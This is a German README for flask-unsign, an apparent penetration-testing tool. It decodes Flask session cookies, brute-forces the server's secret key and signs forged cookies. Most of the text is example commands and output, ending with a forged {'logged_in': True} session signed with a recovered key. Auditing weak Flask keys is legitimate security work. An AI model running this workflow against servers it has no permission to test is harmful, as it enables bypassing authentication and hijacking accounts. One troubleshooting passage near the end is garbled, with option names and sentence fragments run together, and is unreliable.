
Kommandozeilen-Tool zum Abrufen, Dekodieren, Brute-Forcen und Erstellen von Session-Cookies einer Flask-Anwendung durch Erraten geheimer Schlüssel.
Kommandozeilen-Tool zum Abrufen und Dekodieren von Session-Cookies einer Flask-Anwendung sowie zum Ermitteln von Secret Keys per Brute-Force und Erstellen eigener Session-Cookies. Für die eigenständige Wortlisten-Komponente besuche bitte das Repository flask-unsign-wordlist.
Um die Anwendung zu installieren, verwende einfach pip:
$ pip3 install flask-unsign[wordlist]
Wenn du nur den Kerncode installieren möchtest, lasse das Suffix [wordlist] weg:
$ pip3 install flask-unsign
Um das Tool für Entwicklungszwecke zu installieren, führe den folgenden Befehl aus (nachdem du eine Kopie heruntergeladen hast):
$ pip3 install -e .[test]
Um einen Überblick über alle möglichen Optionen zu erhalten, rufe flask-unsign einfach ohne Argumente auf:
$ flask-unsign
Da Flask-Cookies signiert und nicht verschlüsselt sind, ist es
möglich, die Session-Daten lokal zu dekodieren. Verwende dazu das
--decode-Argument.
Session-Cookies können abgerufen werden, indem du deine HTTP-Anfragen mit einem
Proxy wie Burp Proxy untersuchst, den Netzwerkinspektor deines Browsers verwendest
oder eine Browsererweiterung nutzt, um deine Cookies anzusehen/zu ändern.
Standardmäßig verwendet Flask den Session-Namen "session".
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
Du kannst auch die automatische Session-Erfassungsfunktion von Flask-Unsign
verwenden, indem du das --server-Argument anstelle des --cookie-Arguments
übergibst. Beachte jedoch, dass nicht alle Webseiten eine Session zurückgeben,
stelle also sicher, dass du eine URL übergibst, die dies tut.
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
Nachdem du ein Beispiel-Session-Cookie erhalten hast, kannst du versuchen, den
Secret Key des Servers per Brute-Force zu ermitteln. Wenn du Glück hast, könnte
dieser auf etwas leicht Erratbares gesetzt sein, oder falls er online gefunden
wurde, könnte er in einer deiner Wortlisten enthalten sein. Verwende dazu das
--unsign-Argument.
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
Sobald du den Secret Key des Servers erhalten hast, kannst du deine eigenen
benutzerdefinierten Session-Daten erstellen. Verwende dazu das
--sign-Argument.
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip-Binärdatei. Versuche den
folgenden Befehl zu verwenden: python3.6 -m pip install flask-unsign--legacy-Option zu verwenden.--no-literal-eval-Argument übergibst.Wenn du dich fragst, wie genau das funktioniert, wirf einen Blick auf meinen Blogbeitrag, der dies im Detail erklärt, einschließlich einer Anleitung, wie du deinen eigenen Server vor diesem Angriff schützen kannst.
MIT License
Copyright (c) 2021 Luke Paris (Paradoxis)
Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen Dokumentationsdateien (die „Software“) erhält, kostenlos die Erlaubnis erteilt, uneingeschränkt mit der Software zu handeln, einschließlich, ohne Einschränkung, der Rechte, die Software zu verwenden, zu kopieren, zu modifizieren, zusammenzuführen, zu veröffentlichen, zu verbreiten, zu unterlizenzieren und/oder Kopien der Software zu verkaufen, sowie Personen, denen die Software zur Verfügung gestellt wird, dies zu erlauben, vorbehaltlich der folgenden Bedingungen:
Der obige Urheberrechtshinweis und dieser Genehmigungshinweis müssen in allen Kopien oder wesentlichen Teilen der Software enthalten sein.
DIE SOFTWARE WIRD OHNE JEGLICHE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG BEREITGESTELLT, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN DRITTER. IN KEINEM FALL SIND DIE AUTOREN ODER URHEBERRECHTSINHABER HAFTBAR FÜR ANSPRÜCHE, SCHÄDEN ODER SONSTIGE HAFTUNG, OB IN EINEM VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE AUS ODER IM ZUSAMMENHANG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN.